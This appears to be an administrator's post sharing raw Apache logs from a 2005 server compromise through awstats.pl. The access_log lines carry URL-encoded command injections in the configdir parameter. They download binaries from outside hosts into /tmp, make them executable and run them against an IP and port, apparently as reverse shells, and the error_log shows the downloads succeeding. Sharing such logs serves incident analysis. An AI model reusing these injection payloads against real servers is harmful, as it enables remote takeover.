-rwxrwxrwx 1 apache apache 11K Jan 17 10:43 bt* -rwxrwxrwx 1 apache apache 28K Jan 17 11:00 elflbl* -rwxr-xr-x 1 apache apache 14K Dec 19 11:29 dc* -rwxrwxrwx 1 apache apache 20K Feb 1 11:19 uselib24* -rw-r--r-- 1 apache apache 14K Dec 19 11:29 dc.1 -------------------------------------------------------------------------------- This is from error_log. Hmm. Yes. -------------------------------------------------------------------------------- --10:50:15-- http://www.zstp.lodz.pl/chatroom/.c1/bt => `bt' Resolving www.zstp.lodz.pl... 212.191.7.130 Connecting to www.zstp.lodz.pl[212.191.7.130]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 10,766 [text/plain] 0K .......... 100% 21.80 KB/s 10:50:16 (21.80 KB/s) - `bt' saved [10766/10766] sh: line 1: fg: no job control --10:50:53-- http://www.zstp.lodz.pl/chatroom/.c1/dc => `dc' Resolving www.zstp.lodz.pl... 212.191.7.130 Connecting to www.zstp.lodz.pl[212.191.7.130]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 13,985 [text/plain] 0K .......... ... 100% 26.38 KB/s 10:50:54 (26.38 KB/s) - `dc' saved [13985/13985] sh: line 1: fg: no job control --10:51:53-- http://www.zstp.lodz.pl/chatroom/.c1/dc => `dc.1' Resolving www.zstp.lodz.pl... 212.191.7.130 Connecting to www.zstp.lodz.pl[212.191.7.130]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 13,985 [text/plain] 0K .......... ... 100% 26.84 KB/s 10:51:54 (26.84 KB/s) - `dc.1' saved [13985/13985] -------------------------------------------------------------------------------- This is the actual access_log. How fun. -------------------------------------------------------------------------------- [692]angeldust:/var/log/apache # cat access_log | grep wget%20 user.bildunxxluecke.de - - [09/Feb/2005:10:49:51 -0500] "GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bwget%20%3becho%20e_exp%3b%2500 HTTP/1.1" 200 638 "-" "-" user.bildunxxluecke.de - - [09/Feb/2005:10:50:17 -0500] "GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bwget%20http%3a%2f%2fwww%2ezstp%2elodz%2epl%2fchatroom%2f%2ec1%2fbt%3bchmod%20777%20bt%3b%2e%2fbt%3becho%20e_exp%3b%2500 HTTP/1.1" 200 651 "-" "-" user.bildunxxluecke.de - - [09/Feb/2005:10:50:55 -0500] "GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bwget%20http%3a%2f%2fwww%2ezstp%2elodz%2epl%2fchatroom%2f%2ec1%2fdc%3bchmod%20%2bx%20dc%3b%2e%2fdc%20172%2e181%2e71%2e30%2021%3becho%20e_exp%3b%2500 HTTP/1.1" 200 747 "-" "-" user.bildunxxluecke.de - - [09/Feb/2005:10:51:54 -0500] "GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bwget%20http%3a%2f%2fwww%2ezstp%2elodz%2epl%2fchatroom%2f%2ec1%2fdc%3bchmod%20%2bx%20dc%3b%2e%2fdc%20172%2e181%2e71%2e30%2021%3becho%20e_exp%3b%2500 HTTP/1.1" 200 747 "-" "-" reverse.lightup.net - - [09/Feb/2005:19:37:21 -0500] "GET /awstats/awstats.pl?configdir=%20%7c%20cd%20%2fvar%2ftmp%20%3b%20wget%20piticanie.org%2fcback%20%3bchmod%20%2bx%20cback%20%3b%20.%2fcback%20217.172.33.20%2081%20%20%7c%20 HTTP/1.1" 200 1247 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"